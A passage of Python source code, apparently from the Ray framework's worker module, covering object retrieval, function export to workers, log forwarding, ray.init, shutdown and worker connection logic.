# This *must* be the first place that we construct this python
# ObjectRef because an entry with 0 local references is created when
# the object is Put() in the core worker, expecting that this python
# reference will be created. If another reference is created and
# removed before this one, it will corrupt the state in the
# reference counter.
return ray.ObjectRef(
self.core_worker.put_serialized_object(
serialized_value,
object_ref=object_ref,
owner_address=owner_address))
def raise_errors(self, data_metadata_pairs, object_refs):
out = self.deserialize_objects(data_metadata_pairs, object_refs)
if "RAY_IGNORE_UNHANDLED_ERRORS" in os.environ:
return
for e in out:
_unhandled_error_handler(e)
def deserialize_objects(self, data_metadata_pairs, object_refs):
# Function actor manager or the import thread may call pickle.loads
# at the same time which can lead to failed imports
# TODO: We may be better off locking on all imports or injecting a lock
# into pickle.loads (https://github.com/ray-project/ray/issues/16304)
with self.function_actor_manager.lock:
context = self.get_serialization_context()
return context.deserialize_objects(data_metadata_pairs,
object_refs)
def get_objects(self, object_refs, timeout=None):
"""Get the values in the object store associated with the IDs.
Return the values from the local object store for object_refs. This
will block until all the values for object_refs have been written to
the local object store.
Args:
object_refs (List[object_ref.ObjectRef]): A list of the object refs
whose values should be retrieved.
timeout (float): timeout (float): The maximum amount of time in
seconds to wait before returning.
Returns:
list: List of deserialized objects
bytes: UUID of the debugger breakpoint we should drop
into or b"" if there is no breakpoint.
"""
# Make sure that the values are object refs.
for object_ref in object_refs:
if not isinstance(object_ref, ObjectRef):
raise TypeError(
f"Attempting to call `get` on the value {object_ref}, "
"which is not an ray.ObjectRef.")
timeout_ms = int(timeout * 1000) if timeout else -1
data_metadata_pairs = self.core_worker.get_objects(
object_refs, self.current_task_id, timeout_ms)
debugger_breakpoint = b""
for (data, metadata) in data_metadata_pairs:
if metadata:
metadata_fields = metadata.split(b",")
if len(metadata_fields) >= 2 and metadata_fields[1].startswith(
ray_constants.OBJECT_METADATA_DEBUG_PREFIX):
debugger_breakpoint = metadata_fields[1][len(
ray_constants.OBJECT_METADATA_DEBUG_PREFIX):]
return self.deserialize_objects(data_metadata_pairs,
object_refs), debugger_breakpoint
def run_function_on_all_workers(self, function,
run_on_other_drivers=False):
"""Run arbitrary code on all of the workers.
This function will first be run on the driver, and then it will be
exported to all of the workers to be run. It will also be run on any
new workers that register later. If ray.init has not been called yet,
then cache the function and export it later.
Args:
function (Callable): The function to run on all of the workers. It
takes only one argument, a worker info dict. If it returns
anything, its return values will not be used.
run_on_other_drivers: The boolean that indicates whether we want to
run this function on other drivers. One case is we may need to
share objects across drivers.
"""
# If ray.init has not been called yet, then cache the function and
# export it when connect is called. Otherwise, run the function on all
# workers.
if self.mode is None:
self.cached_functions_to_run.append(function)
else:
# Attempt to pickle the function before we need it. This could
# fail, and it is more convenient if the failure happens before we
# actually run the function locally.
pickled_function = pickle.dumps(function)
function_to_run_id = hashlib.shake_128(pickled_function).digest(
ray_constants.ID_SIZE)
key = b"FunctionsToRun:" + function_to_run_id
# First run the function on the driver.
# We always run the task locally.
function({"worker": self})
# Check if the function has already been put into redis.
function_exported = self.redis_client.setnx(b"Lock:" + key, 1)
if not function_exported:
# In this case, the function has already been exported, so
# we don't need to export it again.
return
check_oversized_function(pickled_function, function.__name__,
"function", self)
# Run the function on all workers.
self.redis_client.hset(
key,
mapping={
"job_id": self.current_job_id.binary(),
"function_id": function_to_run_id,
"function": pickled_function,
"run_on_other_drivers": str(run_on_other_drivers),
})
self.redis_client.rpush("Exports", key)
# TODO(rkn): If the worker fails after it calls setnx and before it
# successfully completes the hset and rpush, then the program will
# most likely hang. This could be fixed by making these three
# operations into a transaction (or by implementing a custom
# command that does all three things).
def main_loop(self):
"""The main loop a worker runs to receive and execute tasks."""
def sigterm_handler(signum, frame):
shutdown(True)
sys.exit(1)
ray._private.utils.set_sigterm_handler(sigterm_handler)
self.core_worker.run_task_loop()
sys.exit(0)
def print_logs(self):
"""Prints log messages from workers on all nodes in the same job.
"""
pubsub_client = self.redis_client.pubsub(
ignore_subscribe_messages=True)
pubsub_client.subscribe(gcs_utils.LOG_FILE_CHANNEL)
localhost = services.get_node_ip_address()
try:
# Keep track of the number of consecutive log messages that have
# been received with no break in between. If this number grows
# continually, then the worker is probably not able to process the
# log messages as rapidly as they are coming in.
num_consecutive_messages_received = 0
job_id_binary = ray._private.utils.binary_to_hex(
self.current_job_id.binary())
while True:
# Exit if we received a signal that we should stop.
if self.threads_stopped.is_set():
return
msg = pubsub_client.get_message()
if msg is None:
num_consecutive_messages_received = 0
self.threads_stopped.wait(timeout=0.01)
continue
num_consecutive_messages_received += 1
if (num_consecutive_messages_received % 100 == 0
and num_consecutive_messages_received > 0):
logger.warning(
"The driver may not be able to keep up with the "
"stdout/stderr of the workers. To avoid forwarding "
"logs to the driver, use "
"'ray.init(log_to_driver=False)'.")
data = json.loads(ray._private.utils.decode(msg["data"]))
# Don't show logs from other drivers.
if (self.filter_logs_by_job and data["job"]
and job_id_binary != data["job"]):
continue
data["localhost"] = localhost
global_worker_stdstream_dispatcher.emit(data)
except (OSError, redis.exceptions.ConnectionError) as e:
logger.error(f"print_logs: {e}")
finally:
# Close the pubsub client to avoid leaking file descriptors.
pubsub_client.close()
@PublicAPI
@client_mode_hook
def get_gpu_ids():
"""Get the IDs of the GPUs that are available to the worker.
If the CUDA_VISIBLE_DEVICES environment variable was set when the worker
started up, then the IDs returned by this method will be a subset of the
IDs in CUDA_VISIBLE_DEVICES. If not, the IDs will fall in the range
[0, NUM_GPUS - 1], where NUM_GPUS is the number of GPUs that the node has.
Returns:
A list of GPU IDs.
"""
worker = global_worker
worker.check_connected()
if worker.mode != WORKER_MODE:
logger.warning(
"`ray.get_gpu_ids()` will always return the empty list when "
"called from the driver. This is because Ray does not manage "
"GPU allocations to the driver process.")
# TODO(ilr) Handle inserting resources in local mode
all_resource_ids = global_worker.core_worker.resource_ids()
assigned_ids = set()
for resource, assignment in all_resource_ids.items():
# Handle both normal and placement group GPU resources.
# Note: We should only get the GPU ids from the placement
# group resource that does not contain the bundle index!
import re
if resource == "GPU" or re.match(r"^GPU_group_[0-9A-Za-z]+$",
resource):
for resource_id, _ in assignment:
assigned_ids.add(resource_id)
assigned_ids = list(assigned_ids)
# If the user had already set CUDA_VISIBLE_DEVICES, then respect that (in
# the sense that only GPU IDs that appear in CUDA_VISIBLE_DEVICES should be
# returned).
if global_worker.original_gpu_ids is not None:
assigned_ids = [
global_worker.original_gpu_ids[gpu_id] for gpu_id in assigned_ids
]
# Give all GPUs in local_mode.
if global_worker.mode == LOCAL_MODE:
max_gpus = global_worker.node.get_resource_spec().num_gpus
assigned_ids = global_worker.original_gpu_ids[:max_gpus]
return assigned_ids
@Deprecated
def get_resource_ids():
"""Get the IDs of the resources that are available to the worker.
Returns:
A dictionary mapping the name of a resource to a list of pairs, where
each pair consists of the ID of a resource and the fraction of that
resource reserved for this worker.
"""
worker = global_worker
worker.check_connected()
if _mode() == LOCAL_MODE:
raise RuntimeError(
"ray.worker.get_resource_ids() currently does not work in "
"local_mode.")
return global_worker.core_worker.resource_ids()
@Deprecated
def get_dashboard_url():
"""Get the URL to access the Ray dashboard.
Note that the URL does not specify which node the dashboard is on.
Returns:
The URL of the dashboard as a string.
"""
worker = global_worker
worker.check_connected()
return _global_node.webui_url
global_worker = Worker()
"""Worker: The global Worker object for this worker process.
We use a global Worker object to ensure that there is a single worker object
per worker process.
"""
_global_node = None
"""ray.node.Node: The global node object that is created by ray.init()."""
@PublicAPI
@client_mode_hook
def init(
address: Optional[str] = None,
*,
num_cpus: Optional[int] = None,
num_gpus: Optional[int] = None,
resources: Optional[Dict[str, float]] = None,
object_store_memory: Optional[int] = None,
local_mode: bool = False,
ignore_reinit_error: bool = False,
include_dashboard: Optional[bool] = None,
dashboard_host: str = ray_constants.DEFAULT_DASHBOARD_IP,
dashboard_port: Optional[int] = None,
job_config: "ray.job_config.JobConfig" = None,
configure_logging: bool = True,
logging_level: int = logging.INFO,
logging_format: str = ray_constants.LOGGER_FORMAT,
log_to_driver: bool = True,
namespace: Optional[str] = None,
runtime_env: Dict[str, Any] = None,
# The following are unstable parameters and their use is discouraged.
_enable_object_reconstruction: bool = False,
_redis_max_memory: Optional[int] = None,
_plasma_directory: Optional[str] = None,
_node_ip_address: str = ray_constants.NODE_DEFAULT_IP,
_driver_object_store_memory: Optional[int] = None,
_memory: Optional[int] = None,
_redis_password: str = ray_constants.REDIS_DEFAULT_PASSWORD,
_temp_dir: Optional[str] = None,
_lru_evict: bool = False,
_metrics_export_port: Optional[int] = None,
_system_config: Optional[Dict[str, str]] = None,
_tracing_startup_hook: Optional[Callable] = None,
**kwargs):
"""
Connect to an existing Ray cluster or start one and connect to it.
This method handles two cases; either a Ray cluster already exists and we
just attach this driver to it or we start all of the processes associated
with a Ray cluster and attach to the newly started cluster.
To start Ray locally and all of the relevant processes, use this as
follows:
.. code-block:: python
ray.init()
To connect to an existing local cluster, use this as follows (substituting
in the appropriate port if needed).
.. code-block:: python
ray.init(address="localhost:6379")
To connect to an existing remote cluster, use this as follows (substituting
in the appropriate address). Note the addition of "ray://" at the beginning
of the address.
.. code-block:: python
ray.init(address="ray://123.45.67.89:10001")
More details for starting and connecting to a remote cluster can be found
here: https://docs.ray.io/en/master/cluster/ray-client.html
You can also define an environment variable called `RAY_ADDRESS` in
the same format as the `address` parameter to connect to an existing
cluster with ray.init() or ray.init(address="auto").
Args:
address (str): The address of the Ray cluster to connect to. If
this address is not provided, then this command will start Redis,
a raylet, a plasma store, a plasma manager, and some workers.
It will also kill these processes when Python exits. If the driver
is running on a node in a Ray cluster, using `auto` as the value
tells the driver to detect the the cluster, removing the need to
specify a specific node address. If the environment variable
`RAY_ADDRESS` is defined and the address is None or "auto", Ray
will set `address` to `RAY_ADDRESS`.
Addresses can be prefixed with a "ray://" to connect to a remote
cluster. For example, passing in the address
"ray://123.45.67.89:50005" will connect to the cluster at the
given address.
num_cpus (int): Number of CPUs the user wishes to assign to each
raylet. By default, this is set based on virtual cores.
num_gpus (int): Number of GPUs the user wishes to assign to each
raylet. By default, this is set based on detected GPUs.
resources: A dictionary mapping the names of custom resources to the
quantities for them available.
object_store_memory: The amount of memory (in bytes) to start the
object store with. By default, this is automatically set based on
available system memory.
local_mode (bool): If true, the code will be executed serially. This
is useful for debugging.
ignore_reinit_error: If true, Ray suppresses errors from calling
ray.init() a second time. Ray won't be restarted.
include_dashboard: Boolean flag indicating whether or not to start the
Ray dashboard, which displays the status of the Ray
cluster. If this argument is None, then the UI will be started if
the relevant dependencies are present.
dashboard_host: The host to bind the dashboard server to. Can either be
localhost (127.0.0.1) or 0.0.0.0 (available from all interfaces).
By default, this is set to localhost to prevent access from
external machines.
dashboard_port(int, None): The port to bind the dashboard server to.
Defaults to 8265 and Ray will automatically find a free port if
8265 is not available.
job_config (ray.job_config.JobConfig): The job configuration.
configure_logging: True (default) if configuration of logging is
allowed here. Otherwise, the user may want to configure it
separately.
logging_level: Logging level, defaults to logging.INFO. Ignored unless
"configure_logging" is true.
logging_format: Logging format, defaults to string containing a
timestamp, filename, line number, and message. See the source file
ray_constants.py for details. Ignored unless "configure_logging"
is true.
log_to_driver (bool): If true, the output from all of the worker
processes on all nodes will be directed to the driver.
namespace (str): Namespace to use
runtime_env (dict): The runtime environment to use for this job (see
:ref:`runtime-environments` for details). This API is in beta
and may change before becoming stable.
_enable_object_reconstruction (bool): If True, when an object stored in
the distributed plasma store is lost due to node failure, Ray will
attempt to reconstruct the object by re-executing the task that
created the object. Arguments to the task will be recursively
reconstructed. If False, then ray.ObjectLostError will be
thrown.
_redis_max_memory: Redis max memory.
_plasma_directory: Override the plasma mmap file directory.
_node_ip_address (str): The IP address of the node that we are on.
_driver_object_store_memory (int): Deprecated.
_memory: Amount of reservable memory resource to create.
_redis_password (str): Prevents external clients without the password
from connecting to Redis if provided.
_temp_dir (str): If provided, specifies the root temporary
directory for the Ray process. Defaults to an OS-specific
conventional location, e.g., "/tmp/ray".
_metrics_export_port(int): Port number Ray exposes system metrics
through a Prometheus endpoint. It is currently under active
development, and the API is subject to change.
_system_config (dict): Configuration for overriding
RayConfig defaults. For testing purposes ONLY.
_tracing_startup_hook (str): If provided, turns on and sets up tracing
for Ray. Must be the name of a function that takes no arguments and
sets up a Tracer Provider, Remote Span Processors, and
(optional) additional instruments. See more at
docs.ray.io/tracing.html. It is currently under active development,
and the API is subject to change.
Returns:
If the provided address includes a protocol, for example by prepending
"ray://" to the address to get "ray://1.2.3.4:10001", then a
ClientContext is returned with information such as settings, server
versions for ray and python, and the dashboard_url. Otherwise,
returns address information about the started processes.
Raises:
Exception: An exception is raised if an inappropriate combination of
arguments is passed in.
"""
# If available, use RAY_ADDRESS to override if the address was left
# unspecified, or set to "auto" in the call to init
address_env_var = os.environ.get(
ray_constants.RAY_ADDRESS_ENVIRONMENT_VARIABLE)
if address_env_var:
if address is None or address == "auto":
address = address_env_var
logger.info(
f"Using address {address_env_var} set in the environment "
f"variable {ray_constants.RAY_ADDRESS_ENVIRONMENT_VARIABLE}")
if address is not None and "://" in address:
# Address specified a protocol, use ray client
builder = ray.client(address)
# Forward any keyword arguments that were changed from their default
# values to the builder
init_sig = inspect.signature(init)
passed_kwargs = {}
for argument_name, param_obj in init_sig.parameters.items():
if argument_name in {"kwargs", "address"}:
# kwargs and address are handled separately
continue
default_value = param_obj.default
passed_value = locals()[argument_name]
if passed_value != default_value:
# passed value is different than default, pass to the client
# builder
passed_kwargs[argument_name] = passed_value
passed_kwargs.update(kwargs)
builder._init_args(**passed_kwargs)
return builder.connect()
if kwargs:
# User passed in extra keyword arguments but isn't connecting through
# ray client. Raise an error, since most likely a typo in keyword
unknown = ", ".join(kwargs)
raise RuntimeError(f"Unknown keyword argument(s): {unknown}")
# Try to increase the file descriptor limit, which is too low by
# default for Ray: https://github.com/ray-project/ray/issues/11239
try:
import resource
soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
if soft < hard:
# https://github.com/ray-project/ray/issues/12059
soft = max(soft, min(hard, 65536))
logger.debug("Automatically increasing RLIMIT_NOFILE to max "
"value of {}".format(hard))
try:
resource.setrlimit(resource.RLIMIT_NOFILE, (soft, hard))
except ValueError:
logger.debug("Failed to raise limit.")
soft, _ = resource.getrlimit(resource.RLIMIT_NOFILE)
if soft < 4096:
logger.warning(
"File descriptor limit {} is too low for production "
"servers and may result in connection errors. "
"At least 8192 is recommended. --- "
"Fix with 'ulimit -n 8192'".format(soft))
except ImportError:
logger.debug("Could not import resource module (on Windows)")
pass
if runtime_env:
if job_config is None:
job_config = ray.job_config.JobConfig()
job_config.set_runtime_env(runtime_env)
# Convert hostnames to numerical IP address.
if _node_ip_address is not None:
node_ip_address = services.address_to_ip(_node_ip_address)
raylet_ip_address = node_ip_address
if address:
redis_address, _, _ = services.validate_redis_address(address)
else:
redis_address = None
if configure_logging:
setup_logger(logging_level, logging_format)
if redis_address is not None:
logger.info(
f"Connecting to existing Ray cluster at address: {redis_address}")
if local_mode:
driver_mode = LOCAL_MODE
else:
driver_mode = SCRIPT_MODE
if global_worker.connected:
if ignore_reinit_error:
logger.info(
"Calling ray.init() again after it has already been called.")
return
else:
raise RuntimeError("Maybe you called ray.init twice by accident? "
"This error can be suppressed by passing in "
"'ignore_reinit_error=True' or by calling "
"'ray.shutdown()' prior to 'ray.init()'.")
_system_config = _system_config or {}
if not isinstance(_system_config, dict):
raise TypeError("The _system_config must be a dict.")
global _global_node
if redis_address is None:
# In this case, we need to start a new cluster.
ray_params = ray._private.parameter.RayParams(
redis_address=redis_address,
node_ip_address=node_ip_address,
raylet_ip_address=raylet_ip_address,
object_ref_seed=None,
driver_mode=driver_mode,
redirect_worker_output=None,
redirect_output=None,
num_cpus=num_cpus,
num_gpus=num_gpus,
resources=resources,
num_redis_shards=None,
redis_max_clients=None,
redis_password=_redis_password,
plasma_directory=_plasma_directory,
huge_pages=None,
include_dashboard=include_dashboard,
dashboard_host=dashboard_host,
dashboard_port=dashboard_port,
memory=_memory,
object_store_memory=object_store_memory,
redis_max_memory=_redis_max_memory,
plasma_store_socket_name=None,
temp_dir=_temp_dir,
# We need to disable it if runtime env is not set.
# Uploading happens after core worker is created. And we should
# prevent default worker being created before uploading.
# TODO (yic): Have a separate connection to gcs client when
# removal redis is done. The uploading should happen before this
# one.
start_initial_python_workers_for_first_job=(
job_config is None or job_config.runtime_env is None),
_system_config=_system_config,
lru_evict=_lru_evict,
enable_object_reconstruction=_enable_object_reconstruction,
metrics_export_port=_metrics_export_port,
tracing_startup_hook=_tracing_startup_hook)
# Start the Ray processes. We set shutdown_at_exit=False because we
# shutdown the node in the ray.shutdown call that happens in the atexit
# handler. We still spawn a reaper process in case the atexit handler
# isn't called.
_global_node = ray.node.Node(
head=True,
shutdown_at_exit=False,
spawn_reaper=True,
ray_params=ray_params)
else:
# In this case, we are connecting to an existing cluster.
if num_cpus is not None or num_gpus is not None:
raise ValueError(
"When connecting to an existing cluster, num_cpus "
"and num_gpus must not be provided.")
if resources is not None:
raise ValueError("When connecting to an existing cluster, "
"resources must not be provided.")
if object_store_memory is not None:
raise ValueError("When connecting to an existing cluster, "
"object_store_memory must not be provided.")
if _system_config is not None and len(_system_config) != 0:
raise ValueError("When connecting to an existing cluster, "
"_system_config must not be provided.")
if _enable_object_reconstruction:
raise ValueError(
"When connecting to an existing cluster, "
"_enable_object_reconstruction must not be provided.")
# In this case, we only need to connect the node.
ray_params = ray._private.parameter.RayParams(
node_ip_address=node_ip_address,
raylet_ip_address=raylet_ip_address,
redis_address=redis_address,
redis_password=_redis_password,
object_ref_seed=None,
temp_dir=_temp_dir,
_system_config=_system_config,
lru_evict=_lru_evict,
enable_object_reconstruction=_enable_object_reconstruction,
metrics_export_port=_metrics_export_port)
_global_node = ray.node.Node(
ray_params,
head=False,
shutdown_at_exit=False,
spawn_reaper=False,
connect_only=True)
if driver_mode == SCRIPT_MODE and job_config:
# Rewrite the URI. Note the package isn't uploaded to the URI until
# later in the connect
runtime_env_pkg.rewrite_runtime_env_uris(job_config)
connect(
_global_node,
mode=driver_mode,
log_to_driver=log_to_driver,
worker=global_worker,
driver_object_store_memory=_driver_object_store_memory,
job_id=None,
namespace=namespace,
job_config=job_config)
if job_config and job_config.code_search_path:
global_worker.set_load_code_from_local(True)
else:
# Because `ray.shutdown()` doesn't reset this flag, for multiple
# sessions in one process, the 2nd `ray.init()` will reuse the
# flag of last session. For example:
# ray.init(load_code_from_local=True)
# ray.shutdown()
# ray.init()
# # Here the flag `load_code_from_local` is still True if we
# # doesn't have this `else` branch.
# ray.shutdown()
global_worker.set_load_code_from_local(False)
for hook in _post_init_hooks:
hook()
node_id = global_worker.core_worker.get_current_node_id()
return dict(_global_node.address_info, node_id=node_id.hex())
# Functions to run as callback after a successful ray init.
_post_init_hooks = []
@PublicAPI
@client_mode_hook
def shutdown(_exiting_interpreter: bool = False):
"""Disconnect the worker, and terminate processes started by ray.init().
This will automatically run at the end when a Python process that uses Ray
exits. It is ok to run this twice in a row. The primary use case for this
function is to cleanup state between tests.
Note that this will clear any remote function definitions, actor
definitions, and existing actors, so if you wish to use any previously
defined remote functions or actors after calling ray.shutdown(), then you
need to redefine them. If they were defined in an imported module, then you
will need to reload the module.
Args:
_exiting_interpreter (bool): True if this is called by the atexit hook
and false otherwise. If we are exiting the interpreter, we will
wait a little while to print any extra error messages.
"""
if _exiting_interpreter and global_worker.mode == SCRIPT_MODE:
# This is a duration to sleep before shutting down everything in order
# to make sure that log messages finish printing.
time.sleep(0.5)
disconnect(_exiting_interpreter)
# We need to destruct the core worker here because after this function,
# we will tear down any processes spawned by ray.init() and the background
# IO thread in the core worker doesn't currently handle that gracefully.
if hasattr(global_worker, "gcs_client"):
del global_worker.gcs_client
if hasattr(global_worker, "core_worker"):
global_worker.core_worker.shutdown()
del global_worker.core_worker
# Disconnect global state from GCS.
ray.state.state.disconnect()
# Shut down the Ray processes.
global _global_node
if _global_node is not None:
if _global_node.is_head():
_global_node.destroy_external_storage()
_global_node.kill_all_processes(check_alive=False, allow_graceful=True)
_global_node = None
# TODO(rkn): Instead of manually resetting some of the worker fields, we
# should simply set "global_worker" to equal "None" or something like that.
global_worker.set_mode(None)
atexit.register(shutdown, True)
# TODO(edoakes): this should only be set in the driver.
def sigterm_handler(signum, frame):
sys.exit(signum)
try:
ray._private.utils.set_sigterm_handler(sigterm_handler)
except ValueError:
logger.warning("Failed to set SIGTERM handler, processes might"
"not be cleaned up properly on exit.")
# Define a custom excepthook so that if the driver exits with an exception, we
# can push that exception to Redis.
normal_excepthook = sys.excepthook
def custom_excepthook(type, value, tb):
# If this is a driver, push the exception to GCS worker table.
if global_worker.mode == SCRIPT_MODE and hasattr(global_worker,
"worker_id"):
error_message = "".join(traceback.format_tb(tb))
worker_id = global_worker.worker_id
worker_type = gcs_utils.DRIVER
worker_info = {"exception": error_message}
ray.state.state._check_connected()
ray.state.state.add_worker(worker_id, worker_type, worker_info)
# Call the normal excepthook.
normal_excepthook(type, value, tb)
sys.excepthook = custom_excepthook
def print_to_stdstream(data):
print_file = sys.stderr if data["is_err"] else sys.stdout
print_worker_logs(data, print_file)
# Start time of this process, used for relative time logs.
t0 = time.time()
autoscaler_log_fyi_printed = False
def filter_autoscaler_events(lines: List[str]) -> Iterator[str]:
"""Given raw log lines from the monitor, return only autoscaler events.
Autoscaler events are denoted by the ":event_summary:" magic token.
"""
global autoscaler_log_fyi_printed
if not AUTOSCALER_EVENTS:
return
# Print out autoscaler events only, ignoring other messages.
for line in lines:
if ray_constants.LOG_PREFIX_EVENT_SUMMARY in line:
if not autoscaler_log_fyi_printed:
yield ("Tip: use `ray status` to view detailed "
"autoscaling status. To disable autoscaler event "
"messages, you can set AUTOSCALER_EVENTS=0.")
autoscaler_log_fyi_printed = True
# The event text immediately follows the ":event_summary:"
# magic token.
yield line.split(ray_constants.LOG_PREFIX_EVENT_SUMMARY)[1]
def time_string() -> str:
"""Return the relative time from the start of this job.
For example, 15m30s.
"""
delta = time.time() - t0
hours = 0
minutes = 0
while delta > 3600:
hours += 1
delta -= 3600
while delta > 60:
minutes += 1
delta -= 60
output = ""
if hours:
output += "{}h".format(hours)
if minutes:
output += "{}m".format(minutes)
output += "{}s".format(int(delta))
return output
# When we enter a breakpoint, worker logs are automatically disabled via this.
_worker_logs_enabled = True
def print_worker_logs(data: Dict[str, str], print_file: Any):
if not _worker_logs_enabled:
return
def prefix_for(data: Dict[str, str]) -> str:
"""The PID prefix for this log line."""
if data["pid"] in ["autoscaler", "raylet"]:
return ""
else:
res = "pid="
if data["actor_name"]:
res = data["actor_name"] + " " + res
elif data["task_name"]:
res = data["task_name"] + " " + res
return res
def color_for(data: Dict[str, str]) -> str:
"""The color for this log line."""
if data["pid"] == "raylet":
return colorama.Fore.YELLOW
elif data["pid"] == "autoscaler":
return colorama.Style.BRIGHT + colorama.Fore.CYAN
else:
return colorama.Fore.CYAN
if data["pid"] == "autoscaler":
pid = "{} +{}".format(data["pid"], time_string())
lines = filter_autoscaler_events(data["lines"])
else:
pid = data["pid"]
lines = data["lines"]
if data["ip"] == data["localhost"]:
for line in lines:
print(
"{}{}({}{}){} {}".format(colorama.Style.DIM, color_for(data),
prefix_for(data), pid,
colorama.Style.RESET_ALL, line),
file=print_file)
else:
for line in lines:
print(
"{}{}({}{}, ip={}){} {}".format(
colorama.Style.DIM, color_for(data), prefix_for(data), pid,
data["ip"], colorama.Style.RESET_ALL, line),
file=print_file)
def listen_error_messages_raylet(worker, threads_stopped):
"""Listen to error messages in the background on the driver.
This runs in a separate thread on the driver and pushes (error, time)
tuples to the output queue.
Args:
worker: The worker class that this thread belongs to.
threads_stopped (threading.Event): A threading event used to signal to
the thread that it should exit.
"""
worker.error_message_pubsub_client = worker.redis_client.pubsub(
ignore_subscribe_messages=True)
# Exports that are published after the call to
# error_message_pubsub_client.subscribe and before the call to
# error_message_pubsub_client.listen will still be processed in the loop.
# Really we should just subscribe to the errors for this specific job.
# However, currently all errors seem to be published on the same channel.
error_pubsub_channel = gcs_utils.RAY_ERROR_PUBSUB_PATTERN
worker.error_message_pubsub_client.psubscribe(error_pubsub_channel)
try:
if _internal_kv_initialized():
# Get any autoscaler errors that occurred before the call to
# subscribe.
error_message = _internal_kv_get(DEBUG_AUTOSCALING_ERROR)
if error_message is not None:
logger.warning(error_message.decode())
while True:
# Exit if we received a signal that we should stop.
if threads_stopped.is_set():
return
msg = worker.error_message_pubsub_client.get_message()
if msg is None:
threads_stopped.wait(timeout=0.01)
continue
pubsub_msg = gcs_utils.PubSubMessage.FromString(msg["data"])
error_data = gcs_utils.ErrorTableData.FromString(pubsub_msg.data)
job_id = error_data.job_id
if job_id not in [
worker.current_job_id.binary(),
JobID.nil().binary(),
]:
continue
error_message = error_data.error_message
if (error_data.type == ray_constants.TASK_PUSH_ERROR):
# TODO(ekl) remove task push errors entirely now that we have
# the separate unhandled exception handler.
pass
else:
logger.warning(error_message)
except (OSError, redis.exceptions.ConnectionError) as e:
logger.error(f"listen_error_messages_raylet: {e}")
finally:
# Close the pubsub client to avoid leaking file descriptors.
worker.error_message_pubsub_client.close()
@PublicAPI
@client_mode_hook
def is_initialized() -> bool:
"""Check if ray.init has been called yet.
Returns:
True if ray.init has already been called and false otherwise.
"""
return ray.worker.global_worker.connected
def connect(node,
mode=WORKER_MODE,
log_to_driver=False,
worker=global_worker,
driver_object_store_memory=None,
job_id=None,
namespace=None,
job_config=None,
runtime_env_hash=0,
runtime_env_json="{}",
worker_shim_pid=0,
ray_debugger_external=False):
"""Connect this worker to the raylet, to Plasma, and to Redis.
Args:
node (ray.node.Node): The node to connect.
mode: The mode of the worker. One of SCRIPT_MODE, WORKER_MODE, and
LOCAL_MODE.
log_to_driver (bool): If true, then output from all of the worker
processes on all nodes will be directed to the driver.
worker: The ray.Worker instance.
driver_object_store_memory: Deprecated.
job_id: The ID of job. If it's None, then we will generate one.
job_config (ray.job_config.JobConfig): The job configuration.
runtime_env_hash (int): The hash of the runtime env for this worker.
worker_shim_pid (int): The PID of the process for setup worker
runtime env.
ray_debugger_host (bool): The host to bind a Ray debugger to on
this worker.
"""
# Do some basic checking to make sure we didn't call ray.init twice.
error_message = "Perhaps you called ray.init twice by accident?"
assert not worker.connected, error_message
assert worker.cached_functions_to_run is not None, error_message
# Enable nice stack traces on SIGSEGV etc.
try:
if not faulthandler.is_enabled():
faulthandler.enable(all_threads=False)
except io.UnsupportedOperation:
pass # ignore
# Create a Redis client to primary.
# The Redis client can safely be shared between threads. However,
# that is not true of Redis pubsub clients. See the documentation at
# https://github.com/andymccurdy/redis-py#thread-safety.
worker.redis_client = node.create_redis_client()
ray.state.state._initialize_global_state(
node.redis_address, redis_password=node.redis_password)
# Initialize some fields.
if mode in (WORKER_MODE, RESTORE_WORKER_MODE, SPILL_WORKER_MODE,
UTIL_WORKER_MODE):
# We should not specify the job_id if it's `WORKER_MODE`.
assert job_id is None
job_id = JobID.nil()
else:
# This is the code path of driver mode.
if job_id is None:
job_id = ray.state.next_job_id()
if mode is not SCRIPT_MODE and mode is not LOCAL_MODE and setproctitle:
process_name = ray_constants.WORKER_PROCESS_TYPE_IDLE_WORKER
if mode is SPILL_WORKER_MODE:
process_name = (
ray_constants.WORKER_PROCESS_TYPE_SPILL_WORKER_IDLE)
elif mode is RESTORE_WORKER_MODE:
process_name = (
ray_constants.WORKER_PROCESS_TYPE_RESTORE_WORKER_IDLE)
setproctitle.setproctitle(process_name)
if not isinstance(job_id, JobID):
raise TypeError("The type of given job id must be JobID.")
# All workers start out as non-actors. A worker can be turned into an actor
# after it is created.
worker.node = node
worker.set_mode(mode)
# For driver's check that the version information matches the version
# information that the Ray cluster was started with.
try:
ray._private.services.check_version_info(worker.redis_client)
except Exception as e:
if mode == SCRIPT_MODE:
raise e
elif mode == WORKER_MODE:
traceback_str = traceback.format_exc()
ray._private.utils.push_error_to_driver_through_redis(
worker.redis_client,
ray_constants.VERSION_MISMATCH_PUSH_ERROR,
traceback_str,
job_id=None)
worker.lock = threading.RLock()
driver_name = ""
log_stdout_file_path = ""
log_stderr_file_path = ""
interactive_mode = False
if mode == SCRIPT_MODE:
import __main__ as main
if hasattr(main, "__file__"):
driver_name = main.__file__
else:
interactive_mode = True
driver_name = "INTERACTIVE MODE"
elif not LOCAL_MODE:
raise ValueError(
"Invalid worker mode. Expected DRIVER, WORKER or LOCAL.")
redis_address, redis_port = node.redis_address.split(":")
gcs_options = ray._raylet.GcsClientOptions(
redis_address,
int(redis_port),
node.redis_password,
)
if job_config is None:
job_config = ray.job_config.JobConfig()
if namespace is not None:
ray._private.utils.validate_namespace(namespace)
# The namespace field of job config may have already been set in code
# paths such as the client.
job_config.set_ray_namespace(namespace)
# Make sure breakpoint() in the user's code will
# invoke the Ray debugger if we are in a worker or actor process
# (but not on the driver).
if mode == WORKER_MODE:
os.environ["PYTHONBREAKPOINT"] = "ray.util.rpdb.set_trace"
else:
# Add hook to suppress worker logs during breakpoint.
os.environ["PYTHONBREAKPOINT"] = "ray.util.rpdb._driver_set_trace"
worker.ray_debugger_external = ray_debugger_external
serialized_job_config = job_config.serialize()
worker.core_worker = ray._raylet.CoreWorker(
mode, node.plasma_store_socket_name, node.raylet_socket_name, job_id,
gcs_options, node.get_logs_dir_path(), node.node_ip_address,
node.node_manager_port, node.raylet_ip_address, (mode == LOCAL_MODE),
driver_name, log_stdout_file_path, log_stderr_file_path,
serialized_job_config, node.metrics_agent_port, runtime_env_hash,
worker_shim_pid)
worker.gcs_client = worker.core_worker.get_gcs_client()
# If it's a driver and it's not coming from ray client, we'll prepare the
# environment here. If it's ray client, the environmen will be prepared
# at the server side.
if mode == SCRIPT_MODE and not job_config.client_job:
runtime_env_pkg.upload_runtime_env_package_if_needed(job_config)
elif mode == WORKER_MODE:
